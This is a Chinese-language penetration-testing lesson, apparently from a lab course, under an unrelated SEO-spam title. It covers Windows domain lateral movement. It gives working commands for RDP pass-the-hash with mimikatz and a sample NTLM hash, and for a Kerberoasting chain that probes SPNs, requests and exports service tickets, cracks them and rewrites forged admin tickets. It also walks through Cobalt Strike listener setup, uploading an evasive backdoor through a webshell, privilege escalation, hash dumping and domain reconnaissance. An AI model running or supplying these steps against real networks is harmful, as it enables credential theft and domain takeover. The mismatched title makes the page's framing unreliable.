渭南經(jīng)開區(qū)seo網(wǎng)絡推廣排名
目錄
- 演示案例:
- 域橫向移動RDP傳遞-Mimikatz
- 域橫向移動SPN服務-探針,請求,導出,破解,重寫
- 域橫向移動測試流程一把梭哈-CobaltStrike初體驗
- 涉及資源
SPN主要是掃描技術,在滲透過程中結合kerberos協(xié)議,可以做一些事情
演示案例:
域橫向移動RDP傳遞-Mimikatz
除了上述講到的IPC,WMI,SMB等協(xié)議的鏈接外,獲取到的明文密碼或HASH密文也可以通過RDP協(xié)議進行鏈接操作。
RDP遠程的連接協(xié)議,在linux上面就是ssh,在windows上面就是RDP,就是我們常說的3389,開放3389就可以進行遠程連接,連接的東西也是建立在明文密碼和hash
得到明文密碼就可以直接用rdp協(xié)議連接
電腦屬性>遠程桌面終端
RDP明文密碼鏈接
windows: mstsc
mstsc.exe /console /v:192.168.3.21 /admin
linux: rdesktop 192.168.3.21:3389
RDP密文HASH鏈接
windows Server需要開啟 Restricted Admin mode,在windows 8.1和Windows Server 2012 R2中默認開啟,同時如果win 7 和windows Server2008 R2安裝了2871997、2973351補丁也支持;開啟命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v
DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
hash連接比較雞肋,不是很常見
開啟后運行:
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god
/ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe/restrictedadmin"
域橫向移動SPN服務-探針,請求,導出,破解,重寫
kerberos中的spn詳解:https://www.cnblogs.com/backlion/p/8082623.html
黑客可以使用有效的域用戶的身份驗證票證(TGT)去請求運行在服務器上的一個或多個目標服務的服務票證。DC在活動目錄中查找SPN,并使用與SPN關聯(lián)的服務帳戶加密票證,以便服務能夠驗證用戶是否可以訪問。請求的Kerberos服務票證的加密類型是RC4_HMAC_MD5,這意味著服務帳戶的NTLM密碼哈希用于加密服務票證。黑客將收到的TGS票據(jù)離線進行破解,即可得到目標服務帳號的HASH,這個稱之為Kerberoast攻擊。如果我們有一個為域用戶帳戶注冊的任意SPN,那么該用戶帳戶的明文密碼的NTLM哈希值就將用于創(chuàng)建服務票證。這就是Kerberoastinq攻擊的關鍵。
一般我們在進行內(nèi)網(wǎng)滲透會采取端口掃描,來判定內(nèi)網(wǎng)其它主機的開放程度和端口的一個情況,但在這里,我們使用端口掃描技術會觸發(fā)一些防火墻,我們經(jīng)常使用nmap掃描的知道,在nmap去掃一些帶防火墻的服務器的話,有時候掃描不準,或者直接把你攔截了,他會檢測到這是外部流量,有掃描的一些攻擊,那么就掃描不出一些東西出來,這個是很常見的。SPN掃描就能解決這個問題,SPN掃描是優(yōu)先于我們常用端口掃描的,不會被防火墻這些東西給觸發(fā),而且同樣的能探針服務,命令相當簡單,非常舒服,非???br /> 探針就是探針SPN服務,看一下有那些服務,然后在根據(jù)不同的服務,選擇對應我們要操作的服務,請求完之后,我們就會相當于建立會話的東西,建立連接,然后在用相關工具把連接的數(shù)據(jù)給導出來,導出來由于他的連接,這個加密形式是可以進行破解的,所以我們可以進行破解來找到連接的東西
探針只需要一個用戶就行了,不需要管理員權限,setspn是自帶的命令
探針
setspn -q */*
setspn -q */* | findstr "MSSQL"
請求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"
mimikatz.exe "kerberos::ask /target:xxxx"
xxxx替換掉剛剛得到的服務名,也可以用mimikatz進行請求,請求完之后,就會得到憑據(jù)
導出
mimikatz.exe "kerberos::list /export"
用mimikatz看能不能把他導出來
破解
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
導出來之后,用相關工具和腳本進行破解,這個破解可以利用到前面介紹的hashcat工具,也可以用單獨破解的py腳本,一般大部分破解腳本都是借于字典
重寫
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 將生成的票據(jù)注入內(nèi)存
這些服務,有些是可以直接攻擊的,比如說我知道他上面開有sqlserver,或者其它的exchage,這些也都是被常見攻擊的,exchage官方自帶的郵件服務器,就好比我們進行端口掃描,進行的判定
首先我們要攻擊他的話,我們要把名字給保存一下
我們klist看一下當前的會話
這個時候我們就嘗試去請求剛才那個服務
我們在確保一下剛才的會話
現(xiàn)在有兩個,我們把他刪除掉,其實不刪除也可以
我們?nèi)フ埱笏?br />
請求之后,我們?nèi)タ磌list,請求了就會產(chǎn)生票據(jù)
這個時候,我們用mimikatz把內(nèi)存導出來,就是把剛才的票據(jù)信息導出來
他會導出到mimikatz的運行目錄
導出兩個
我們只需要用到mssqlsvc,這個就是剛才請求的票據(jù)信息
然后大家把這個票據(jù)信息拿去破解,這個破解由于用到的是腳本,我們就在本機里面破解
Admin12345是請求數(shù)據(jù)里面自帶的密碼,這個密碼可以用來我們后期自己連接,這個密碼也能做為一個憑據(jù),當作字典后期在加載到其它協(xié)議上面的爆破上面去
這個服務在傳輸過程中,他是會驗證的,每個普通用戶在請求這個東西的時候,會驗證你的密碼正不正確
這邊域內(nèi)的一個普通用戶,再去請求服務的時候,就會自帶密碼信息嘗試去驗證,去請求他,所以密碼就包含在這里面了,拿出來破解,就能獲取請求過程中的密碼
第一個,我們多了一個口令,也知道這個東西對應的密碼,第二個,我破解出來之后,我能重寫
u指向的是用戶名的編號,g就是組,所以他就能夠根據(jù)kirbi,重新生成會話出來,我們說的PTT數(shù)據(jù),然后這個時候再用mimikatz,導入到內(nèi)存里面去,那我們再次請求的話,相當于進行了一個全新的提升,這是它后續(xù)的攻擊,但是這個攻擊不是說一定能夠成功,所以這是后續(xù)的一個情況,主要是得到這個密碼為后續(xù)滲透做準備,第二個還可以進行重寫,重新生成票據(jù)文件,然后在用mimikatz注入到里面去,其實就是偽造admin用戶的票據(jù)進行連接
攻擊主要在破解這個地方,得到密碼可以做為字典也可以做為連接條件去連接,但是一般連接也是普通的服務,也就是只能看一些簡單的東西
我們要得到管理員用戶才行,但是管理員賬戶破解不了,因為它在協(xié)議里面抓不到
spn只是掃描技術,外加域類的一種服務用戶,就是常見服務在流通的時候,你可以請求這個票據(jù),然后把票據(jù)導出來,得到里面自帶的票據(jù)信息,來幫助你后續(xù)的一個滲透,算是一個比較雞肋的東西,大家理解就可以了
主要就是利用到spn建立服務的攻擊,利用spn可以探針域內(nèi)主機常見服務,而這個常見服務可以根據(jù)需要進行滲透,比如說像剛才的sqlserver,我得到Admin12345,這里有幫助,有可能沒幫助,那除此之外,我知道上面有sqlserver服務了,是不是也可以進行入侵的呀,還可以采取其它手段,spn這個東西的話,探針也好,它的后續(xù)利用也好,還可以為后續(xù)的滲透思路做準備
域橫向移動測試流程一把梭哈-CobaltStrike初體驗
把前面我們涉及到的那些常見的攻擊總結了,在實戰(zhàn)情況下面的一個操作,因為大部分我們在前面講過,都是把工具上到電腦上面去,然后直接在上面敲,可能在實戰(zhàn)情況下面不是這樣的,有可能你接觸不到它的圖形化,全部都是命令終端,或者有些權限不夠,會遇到很多樣的情況
我在外網(wǎng)建立了一個CobaltStrike彈著服務器的地址,先連接上去
它有一個團隊服務器,我們可以通過任意的終端連接到這個服務器上面去,比如這里的阿里服務器,然后它做為這款服務器的根本,你可以連接到這里來,我也可以連接到這里來,通過它再去控制主機,就相當于它中間多了個東西,它去連接受害主機,你我都是客戶端,我們連接上去操作受害的東西,它是一個多人運動,可以建立多人攻擊,我攻擊的主機,你也可以連接上去,一起進行操作
我們在實戰(zhàn)情況下碰到真實目標都是這樣的,真實目標肯定在內(nèi)網(wǎng),然后你攻擊它的話,你要用到cs,是要建立一個外網(wǎng)的團隊服務器,然后通過控制內(nèi)網(wǎng)一臺主機,向它內(nèi)網(wǎng)進行滲透
webserver這臺服務器上開了一個外網(wǎng),就是說這個外網(wǎng)是能夠連接的,除了它之外,內(nèi)網(wǎng)的其它主機都是不聯(lián)網(wǎng)的,也就是說,我們只能夠先攻擊到這里來,從它在對內(nèi)網(wǎng)的主機進行通訊,因為只有webserver才能對內(nèi)網(wǎng)主機進行通訊,同時這里是內(nèi)網(wǎng)的域環(huán)境,入侵到它之后,對下面的主機進行滲透,取得DC的控制權
參考: [騰訊文檔] 第五十二天: cobalt strike使用指南
https://docs.gg.com/doc/DZlVaY3dzwlpRZlh3
大概流程:
啟動-配置-監(jiān)聽-執(zhí)行-上線-提權-信息收集 (網(wǎng)絡,憑證,定位等) -滲透
1.關于啟動及配置講解
2.關于提權及插件加載
3.關于信息收集命令講解
4.關于視圖自動化功能講解
IP地址是團隊服務器,密碼是用工具去連接的時候會驗證的密碼,有這個密碼就會連接到工具上去
啟動之后需要java環(huán)境的支持,如果你上面沒有配置java環(huán)境,那自己裝一下就完事了,啟動完之后,打開你本地的客戶端
啟動完之后,更重要的是它的配置,它如何上線,它是遠控工具,然后在遠控工具上面,又實現(xiàn)了一些功能在上面,其實就是說我們大部分提權,大部分攻擊主機的話,我先要控制它,我在上面做后續(xù)操作,所以這個工具有這么個操作,先控制電腦、控制服務器,然后再在這上面去操作,下一步就是讓對方上線,由于它是團隊服務器,假如我和你是個團隊,你搞的主機和我搞得主機,如何區(qū)分開來,它可以多個人一起攻擊,我們可以通過配置監(jiān)聽器來實現(xiàn),我自己配個監(jiān)聽器,從你這個監(jiān)聽器過來的就是你攻擊的,它的監(jiān)聽器過來的,就是它的,監(jiān)聽器就是配置木馬的傳輸管道
監(jiān)聽器有多個協(xié)議,就是說木馬或者控制電腦、服務端、服務器,它是通過怎么回連到你的地方來,就得有這些協(xié)議選擇,我們選擇建立在網(wǎng)站HTTP協(xié)議上的連接
這個后門要綁定監(jiān)聽器,我才知道這是你這個人控制的主機,這樣子就可以通過監(jiān)聽器區(qū)分,這個后門就綁定監(jiān)聽器,這個后門的觸發(fā)就是通過監(jiān)聽器走的,生成的后門要做免殺
這個就相當于我前期拿到了webshell,我們把后門給上傳上去,執(zhí)行它
就會看到有一臺終端上線,用戶是webadmin,現(xiàn)在我們需要對它進行提權操作
進入命令終端,輸入命令對它進行操作
導出所有hash
黃金票據(jù)
這個就是提權用的,它自帶的提權方式只有兩個,所以我們這里要加載插件
腳本管理器,上傳插件
這個插件幫我搞了4個提權的exp
我們執(zhí)行完提權的工具后,那就會建立payload
過慢的話,我們選擇把sleep設置為1
突然一下子,出現(xiàn)了system,就是提權已經(jīng)成功了
由于我這里提權了,所以我肯定是用system來執(zhí)行命令
我們既然已經(jīng)得到了主機的系統(tǒng)權限了,我們是不是就要對它進行內(nèi)網(wǎng)滲透,來判斷它當前的網(wǎng)絡環(huán)境
我們收集信息主要是看一下網(wǎng)絡環(huán)境,第二步看一下我們能不能滲透到其它東西
net view //自動探針當前的網(wǎng)絡架構
cs查詢結果會有類似緩存的東西
我們查詢的東西不可能每個都收集一下,有時候執(zhí)行執(zhí)行就搞忘記了
你所有探針的信息都在這里展示
3.32沒有探針到,網(wǎng)絡問題
我們要判斷是域環(huán)境還是工作組環(huán)境
net computers //查看當前所有的計算機
net dclist //獲取域控列表
net user //獲取本地用戶權限
shell net user /domain
官方?jīng)]有的命令,就要調(diào)用shell去執(zhí)行,就相當于在windows上執(zhí)行的一樣
得到域內(nèi)所有用戶的名字,就是跟我前期的信息收集是差不多的
信息收集還有收集口令憑證,使用mimikatz
使用web權限,執(zhí)行mimikatz
這就是權限不夠,這就是我們?yōu)槭裁匆釞嗟脑?#xff0c;使用system權限
這就是這臺主機獲取的密碼
比如說,我們要攻擊3.32
再把sqlserver上的口令進行再收集
那樣我相關的字典就會越來越多
我們就能用這些密碼對域控進行攻擊
得到域控之后,后期就可以在域控上面做一些東西了,基本上滲透到這里就可以了
有兩個問題沒有講,代理問題,自主工具該怎么操作
我們這個時候可以利用常規(guī)的滲透工具,對它進行操作
我們用受控的個人主機進行操作
把ladon上傳上去
shell c:\ladon.exe
第三方工具是說我們自主開發(fā)的工具,因為cs工具有時候需要我們手點,只能選擇兩種,沒有辦法一直操作,所以還是會上傳一些第三方的工具
shell c:\ladon.exe 192.168.3.0/24
所有的第三方工具不可能都有插件,插件是非常好,但是有很多功能還是需要第三方工具,比如一些新出來的惡意攻擊,插件那里有,還是需要上傳
正向就是我連接它,反向就是它連接你
那些被控主機是因為開了外網(wǎng)才成功上線,不開外網(wǎng)它上不了,它網(wǎng)絡通不出來,這里就會涉及到代理的相關知識點,網(wǎng)上說的什么隧道,都指的是那種協(xié)議隧道,這個很好理解,無非是代理的事情
sqlserver數(shù)據(jù)傳遞到webserver端口,在通過webserver轉發(fā)到外網(wǎng)端口上去,這種連接是不是反向連接,它主動把流量交出來給它主機,然后它主機有關接口在給你,但這里會有一個回顯的問題,執(zhí)行完之后,會有一個結果,結果就是通過代理隧道給到你,這是把這些信息通過隧道傳遞過來,所以這個代理知識,也是一個非常重要的知識點,而且是內(nèi)網(wǎng)滲透,很多諸多領域里面的很難理解,但是又必須理解的一個東西
我們可以C語言編譯出來,這個C語言在linux上也能上線的嗎,把C語言編譯成執(zhí)行文件
梼杌插件介紹,它把所有東西都集成上去,現(xiàn)在是不對外公開了
涉及資源
https://github.com/nidem/kerberoast
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取碼: xiao
https://github.com/pandasec888/taowu-cobalt-strike
https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取碼: dtm2
https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug 提取碼:taqu
https://github.com/DeEpinGhOst/Erebus
https://github.com/rsmudge/ElevateKit
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/bluscreenofjeff/AggressorScripts
做主機加固的時候,我們把rdp協(xié)議給關掉了,那人家豈不是用不了遠程,這不是會影響到人家的業(yè)務,我們可以提升rdp協(xié)議的安全性
攻防演練主要比的是獲取的敏感數(shù)據(jù)的多少